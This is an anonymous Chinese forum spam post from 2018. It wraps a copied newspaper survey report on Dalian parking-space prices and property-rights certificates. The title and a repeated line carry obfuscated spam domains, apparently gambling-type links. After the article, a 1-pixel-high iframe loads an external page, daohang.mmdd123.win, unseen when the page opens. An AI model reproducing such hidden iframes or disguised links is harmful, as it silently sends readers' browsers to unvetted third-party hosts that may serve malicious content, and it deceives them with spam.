好奇者论坛网

QQ登录

只需一步,快速开始

查看: 4|回复: 0
收起左侧

ЗЗЗ:e8996;comЖ№ЗЗЗ:3838365;comЖ№ЗЗЗ:8999ggg;com

[复制链接]
匿名
匿名  发表于 2018-3-14 04:13:06 |阅读模式

注册/登录后才能查看本帖全部图片、视频、附件内容

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
近九成大连市民认为停车位偏贵
9月1日起《大连市停车位登记暂行办法》正式执行,市内新建项目中的停车位将按新政策办理初始产权登记等相关事宜。本报联合优点赚平台以你家的停车位能办‘证吗为主题,针对目前业主对停车位产权的认知情况发起问卷调查。数据显示,尽管能办证对市民购买停车位有推动作用,但近九成市民认为目前大连停车位价格偏贵。对于停车位产权证的必要性,市民的态度也比较模糊,七成受访者并不知道自己的停车位是否有办证资格,近四成受访者对开发商是否缴纳土地出让金并不关心。
分析一
近九成受访者认为大连停车位价格偏贵
您觉得停车位目前的市场价格怎样?在这个问题上,89.60%的受访者认为停车位目前的市场价格偏贵,仅有10.40%的受访者认为价格合理或者价格便宜。
逐年增长的汽车数量提升了车位需求,作为稀缺资源的车位价格不断看涨。近年来,大连楼市价格起落不定,车位价格却从来没有跟房价一起下跌过。记者了解到,目前大连市内主城区平均面积在15平方米左右的车位,销售价格多在15万20万元之间,个别地下停车位的售价高达30万元。
记者注意到,目前市内中山、西岗、沙河口、甘井子、高新区等主要城区的楼盘,车位的销售价格都在15万20万元之间。
西岗区21万
西岗区一处楼盘一个地下停车位售价21万元,相当于一辆中档车的价格。
甘区15万
甘井子区某小区配备的地下停车场,单个车位价格15万元。如果按照地下停车场车位占地面积为15平方米计算,售价15万元,每平方米价格就是1万元,而该楼盘在售房源均价在9700元/平方米左右。
中山区23万
中山区一家楼盘销售人员告诉记者,由于目前还处于销售初期,其地下车位还没有公开发售。目前初步确定的车位面积在15平方米左右,售价在23万元左右。我们小区实行人车分流,地上不设停车位,地下车位的建设标准和管理标准都很高。该销售员说,一般来说,大连中高档小区业主每家甚至都有两辆以上的车,即使小区按照1:1配建泊车位,总体来说车位仍然是求大于供,所以价格坚挺就成为必然。
分析二
近七成受访者停车位以租代购
您的停车位是买的还是租的?在这个问题上,69.19%受访者目前的停车位是租用的,只有30.81%的受访者是购买的停车位。
另外,对于所在小区里购买停车位的业主能占多大比例的问题,59%的受访者所在小区内的停车位购买情况占业主的半数以下,大部分业主停车还需要选择租用车位、随机停车等方式。
事实上,尽管车辆越来越多,但是一些小区的停车位仍然存在空置、出售率不高等情况。记者了解到,在租还是买的选择上,很多业主有自己的考量。一般来说,我市新建的中高档小区目前每月的停车位大概在400元600元之间,也就是说,租用一年的地下车位,费用大概在4800元7200元之间。但是如果一次性付20万元购买车位,按照一年期理财产品5%的年化收益率计算,20万元一年的理财收入为1万元。也就是说,拿20万买理财产品得到的收益,完全可以支付一个车位一年的租金还有结余。
但另外一部分购买车位的业主则是看到未来车位趋于紧张的趋势。他们担心未来没有好位置可买,抑或是在车辆保有量增加之后租用车位将越来越少等因素。业内人士建议,是否购买车位应根据家庭实际财产储备情况而定,在资金并不充裕、租用车位资源充分的情况下,可以采用租用车位。
不过,一些市民对车位只租不买,主要还是担心车位的产权身份。本次调查发现,如果停车位可以办理产权,60.80%的市民认为可以考虑买车位,19.20%的市民仍然不愿意购买,还有20%的市民表示无所谓。
分析三
逾七成受访者不清楚开发商是否缴纳土地出让金
尽管停车位价格不菲,但是一个不容回避的事实是,大连不少业主手里握着的车位都或多或少有产权病。有的开发商会承诺车位产权证过段时间就能办下来,但何时能办却遥遥无期;有的则明确告知车位只有使用权,没有产权。这些车位使用权的使用年限从20年至70年不等。也就是说,一个15平方米的框子,只是业主从开发商那里花费重金长期租赁来的。
然而,对于许多业主而言,车位的产权病只是不痛不痒的隐患。本次调查中,对于您所在小区的地下停车场,开发商是否缴纳了土地出让金?这一问题,只有17.20%的受访者表示开发商已经缴纳,还有9%的受访者表示没有。不清楚开发商是否缴纳土地出让金的受访者占73.80%。
另外,在被问到您所在的小区里,业主对停车位的土地出让金缴纳情况是否清楚?的问题时,19.20%的受访者表示肯定,42.80%的受访者给予否定,而表示不关心的受访者占比高达38%。
业内人士介绍,业主在购买车位时怎样鉴别所买的车位是不是产权明晰?最简单的就是看预售许可证上包不包含这部分车位,要查询之后再买。另外,在开发商取得《土地批复》后,土地证变更过来,在土地证备注上也会清楚地写明,可出售分摊面积多少、公共停车位分摊面积多少等信息。
半岛晨报、记者苏琳
esther<iframe height="1" marginHeight="1" frameBorder="0" width="951" name="I3" marginWidth="1" align="middle" target="_blank" src="http://daohang.mmdd123.win/2018/03/13opp.html" scrolling="no"></iframe>
ЗЗЗ:e8996;comЖ№ЗЗЗ:3838365;comЖ№ЗЗЗ:8999ggg;com
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

【---- 由于人类好奇的心理,我们就不难理解这个论坛的出现会在全世界引起怎样的骚动 ----】
本站内容均为会员发表,并不代表好奇者论坛立场! 拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论!

QQ| Archiver|手机版|小黑屋|联系我们|关于我们|标签|

GMT+8, 2018-6-23 17:53 , Processed in 0.540990 second(s), 22 queries . 鲁ICP备16006046号

快速回复 返回顶部 返回列表